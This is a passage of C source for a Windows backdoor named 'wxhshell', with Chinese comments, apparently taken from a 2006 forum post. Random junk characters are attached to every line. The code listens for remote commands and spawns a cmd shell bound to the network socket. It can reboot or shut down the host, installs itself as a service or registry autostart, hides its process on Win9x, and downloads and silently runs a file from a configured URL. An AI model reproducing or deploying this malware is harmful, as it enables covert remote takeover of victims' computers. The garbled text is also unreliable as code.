      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q2R-z^pd  
    break; H:E5xz3VQ  
  } ris;Iu^v0  
  // 安装 xc *!W*04  
  case 'i': { NV(fN-L  
    if(Install()) (.oaMA"B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $nc, ?)i!  
    else oYg/*k7EDX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^(m0M$Wk*  
    break; {*nEKPq(_*  
    } _3KZME  
  // 卸载 z qO$  
  case 'r': { Lkp&;+  
    if(Uninstall()) 0i _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b7qnO jC  
    else Ix4jof6(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sVlZNj9i"  
    break; Ku&*`dME  
    } {SHqW5VX  
  // 显示 wxhshell 所在路径 /9TL&_A-T  
  case 'p': { N7+#9S5fv  
    char svExeFile[MAX_PATH]; jXH0BPa,  
    strcpy(svExeFile,"\n\r"); d"p2Kx'*3  
      strcat(svExeFile,ExeFile); @!-aR u  
        send(wsh,svExeFile,strlen(svExeFile),0); _H/67dcz,  
    break; J(&Gmk9&  
    } S].Ft/+H  
  // 重启 !}j,TPpG  
  case 'b': { WkcH5[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zdT->%  
    if(Boot(REBOOT)) Y"s )u7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8t--#sDy{0  
    else { s.bT[0Vl  
    closesocket(wsh); zv|M*Wu  
    ExitThread(0); b3P9Yoj-  
    } O '@m4@L   
    break; d{iL?>'?^  
    } +H?<}N*T  
  // 关机 QQSH +  
  case 'd': { &s2#1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0K`ZX&K?W  
    if(Boot(SHUTDOWN)) n8 GF8a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L;nZ0)@@l  
    else { EK:Y2WZ  
    closesocket(wsh); p5D5%B/  
    ExitThread(0); IMw "eV  
    } dp33z"<3  
    break; 5_PWGaQa  
    } s&Z35IM8|  
  // 获取shell p9k4w% ~:  
  case 's': { e2q pJ4i  
    CmdShell(wsh); .<0=a|IAz  
    closesocket(wsh); 9PUa?Bc`=  
    ExitThread(0); v hR twi  
    break; fuQ4rt[i  
  } (q~R5)D  
  // 退出 5>N6VeM  
  case 'x': { ?'TA!MR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XTIu(f|d_;  
    CloseIt(wsh); JgxE|#*7U  
    break; L,yA<yrC  
    } 'E@2I9Kj  
  // 离开 uT'-B7N  
  case 'q': { #: dR^zr<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C,9)V5!tP2  
    closesocket(wsh); B#| Z`mZ  
    WSACleanup(); :Pj W:]  
    exit(1); $^!a`Xr  
    break; u'#`yTB6b  
        } uDpf2(>s  
  } 87&KQ_  
  } 782[yLyv  
C+X)">/+L  
  // 提示信息 7=$+k]U8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l6',  
} gcQ.  YP9  
  } $'WapxF  
r'Hy}HWuF  
  return; m OwWg  
} j` [#Ij  
eL]{#WL  
// shell模块句柄 BUcaj.S  
int CmdShell(SOCKET sock) ;"d?_{>7  
{ 7Qm;g-)f  
STARTUPINFO si; ~ >&I^4  
ZeroMemory(&si,sizeof(si)); E.?E~}z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UY?i E=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vgUhN_rK  
PROCESS_INFORMATION ProcessInfo; (#!(Q) ]  
char cmdline[]="cmd"; Pmqx ;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N1D6D$s0  
  return 0; 8o*\W$K@  
} 5KL9$J9k  
<^H1)=tlF  
// 自身启动模式 Bf D,z  
int StartFromService(void) \O8Y3|<  
{ m1~qaD<DZ$  
typedef struct >reaIBT  
{ B FzcoBu-  
  DWORD ExitStatus; $[HcHnf  
  DWORD PebBaseAddress; p?J~'  
  DWORD AffinityMask; t(Q&H!~e   
  DWORD BasePriority; c9Y2eetO  
  ULONG UniqueProcessId; mB{&7Rb0  
  ULONG InheritedFromUniqueProcessId; *" |VNnB  
}   PROCESS_BASIC_INFORMATION; Q0 uP8I}n  
5Z4(J?n  
PROCNTQSIP NtQueryInformationProcess; [4K9|/J  
LUe>)eqw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m &0(%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hQd@bN8  
i6!T`Kau  
  HANDLE             hProcess; F20wf1^  
  PROCESS_BASIC_INFORMATION pbi; h"RP>fZt  
zIAu3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EI?d(K  
  if(NULL == hInst ) return 0; X/- W8  
fD3jwPL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,ZzB#\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t%]^5<+X58  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rL!_&|  
78^UgO/  
  if (!NtQueryInformationProcess) return 0; []2$rJZD9  
l0:e=q2Ax  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EPE!V>  
  if(!hProcess) return 0; E3FW*UNg[y  
L|C1C cP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ';;p8bv+  
.N zW@|  
  CloseHandle(hProcess); ei+9G,  
!]{1h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uFm(R/V  
if(hProcess==NULL) return 0; %v`-uAy:  
uv~qK:Nw(  
HMODULE hMod; /el["l  
char procName[255]; B"?+5A7  
unsigned long cbNeeded; !i~x"1  
g~ppPAH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n,Yr!W:h  
oUKBb&&O  
  CloseHandle(hProcess); ^hl]s?"3  
 &*>C PO  
if(strstr(procName,"services")) return 1; // 以服务启动 dIBKE0`  
jE?\Yv3  
  return 0; // 注册表启动 *x*,I ,03  
} (.@p4q Q-  
(_i vN  
// 主模块 _v~D {H&}  
int StartWxhshell(LPSTR lpCmdLine) ')~Y  
{ M<#)D  
  SOCKET wsl; q5'yD;[hE  
BOOL val=TRUE; `lu"yF  
  int port=0; &0th1-OP_  
  struct sockaddr_in door; 4mM2C`I  
YvxMA#  
  if(wscfg.ws_autoins) Install(); 1a=9z'8V  
ATMogxh  
port=atoi(lpCmdLine); @qO8Jg"Q  
#pDGaqeX  
if(port<=0) port=wscfg.ws_port; n }9Msen  
gvTOC F  
  WSADATA data; iX>!ju'V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kYI(<oTY~  
zT4ulXN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9znx1AsN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |=^#d\?]j  
  door.sin_family = AF_INET; .j:.WnW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^M"=A}h  
  door.sin_port = htons(port); Rvu3Qo+  
~J. Fl[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vk N[=0a,  
closesocket(wsl);   Tk v  
return 1; }{kTh%^  
} aG8D%i0  
q563,s  
  if(listen(wsl,2) == INVALID_SOCKET) { ?2;n=&ZM  
closesocket(wsl); g~^{-6Vg  
return 1; ot>EnHfV  
} $)TF,-#x  
  Wxhshell(wsl); OFQi&/  
  WSACleanup(); 0r$hPmvv8  
4xAlaOw5M  
return 0; TOPPa?=vk  
F~Z 0  
} [K)1!KK,L  
R26tQbwE  
// 以NT服务方式启动 "$V8y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &x0TnW"g  
{ ?CT^Zegmr  
DWORD   status = 0; PkCeV]`w  
  DWORD   specificError = 0xfffffff; Zs5I?R1e8  
"$E!_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y?vm%t`K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Fzld0p9=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]tdo&  
  serviceStatus.dwWin32ExitCode     = 0; uVuToMCp  
  serviceStatus.dwServiceSpecificExitCode = 0; -o!,,XYj .  
  serviceStatus.dwCheckPoint       = 0; ]}l+ !NV<  
  serviceStatus.dwWaitHint       = 0; 4QKE{0NE  
,m?UFRi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?_Dnfa_  
  if (hServiceStatusHandle==0) return; #G!Adj+p5  
'MdE}  
status = GetLastError(); t zW<&^  
  if (status!=NO_ERROR) E_' n4@}Cx  
{ 3@cJ=   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5KH'|z  
    serviceStatus.dwCheckPoint       = 0; 4h_4jqf=pU  
    serviceStatus.dwWaitHint       = 0; CF}Nom)  
    serviceStatus.dwWin32ExitCode     = status; +}-W.H%`0  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7 6i rb!-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W$t}3Ru  
    return; 6:EH5IO  
  } wM4g1H%s  
b%!`fn-;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Tx!m6B`Y  
  serviceStatus.dwCheckPoint       = 0; R.YGmT'2  
  serviceStatus.dwWaitHint       = 0; ^< /vbF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >KClH'R2  
} 'y M:W cN  
kzVI:  
// 处理NT服务事件,比如:启动、停止 +@],$=aE?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &9lc\Y4PY  
{ @H# kvYWmn  
switch(fdwControl) 4Ig{#}<  
{ @x F8' [<  
case SERVICE_CONTROL_STOP: Lj Q1ar\  
  serviceStatus.dwWin32ExitCode = 0; +81+4{*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g/X=#!  
  serviceStatus.dwCheckPoint   = 0; 33KPo0g7  
  serviceStatus.dwWaitHint     = 0; h'y@M+c(  
  { [ rQ(ae  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wIR[2&b  
  } 13&>w{S}  
  return; HToN+z%w3H  
case SERVICE_CONTROL_PAUSE: zkMO3w>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qp_ `Fj:  
  break; /GSI.tO  
case SERVICE_CONTROL_CONTINUE: JdYF&~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <:{[Zvl'k  
  break; ?a0}^:6  
case SERVICE_CONTROL_INTERROGATE: +e]b,9.sR  
  break; +$= Wms-z  
}; OYtus7q<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); muX4Y1M_  
} x5 ~E'~_  
4e#K.HU_  
// 标准应用程序主函数 rU^ghF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cf!k 9x9Z  
{ UlN|Oy,  
Sd{"A0[A|  
// 获取操作系统版本 @"0N@gU  
OsIsNt=GetOsVer(); K<w5[E9V.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >hL'#;:f#  
VaI P  
  // 从命令行安装 ` dUiz5o'  
  if(strpbrk(lpCmdLine,"iI")) Install(); z57papo  
;Kq?*H  
  // 下载执行文件 DPxu3,Y  
if(wscfg.ws_downexe) { BG8)bh k;/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0o=)&%G  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z%9^6kdY  
} dVt@D&  
=XBXSW8)DJ  
if(!OsIsNt) { jp]geV54  
// 如果时win9x,隐藏进程并且设置为注册表启动 R:R@sU  
HideProc(); e&4wwP"`<  
StartWxhshell(lpCmdLine); WblV`"~e  
} r~2@#gTbl  
else ZznWs+  
  if(StartFromService()) 7%}3Ghc%  
  // 以服务方式启动 DJ [#H  
  StartServiceCtrlDispatcher(DispatchTable); U(]5U^  
else ,$qs9b~  
  // 普通方式启动 H.[&gm}p>  
  StartWxhshell(lpCmdLine); <({eOh5 N  
{]Iu">*  
return 0; U`p<lxRgQ  
}
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只看该作者 1 发表于: 2006-10-10
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